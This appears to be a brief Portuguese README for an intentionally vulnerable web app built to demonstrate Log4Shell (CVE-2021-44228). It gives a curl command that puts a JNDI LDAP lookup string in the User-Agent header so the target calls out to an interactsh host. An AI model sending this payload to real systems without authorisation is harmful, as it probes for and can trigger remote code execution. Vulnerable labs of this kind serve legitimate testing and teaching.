
Aplicativo web simples vulnerável ao Log4Shell (CVE-2021-44228)
A aplicação registra o cabeçalho 'User-Agent', então é possível testar a vulnerabilidade com curl e, por exemplo, o interactsh-service:
curl -A '${jndi:ldap://interactsh-url/a}' http://target-service/
Deve-se ver a interação DNS em app.interactsh.com.
Link para o Docker Hub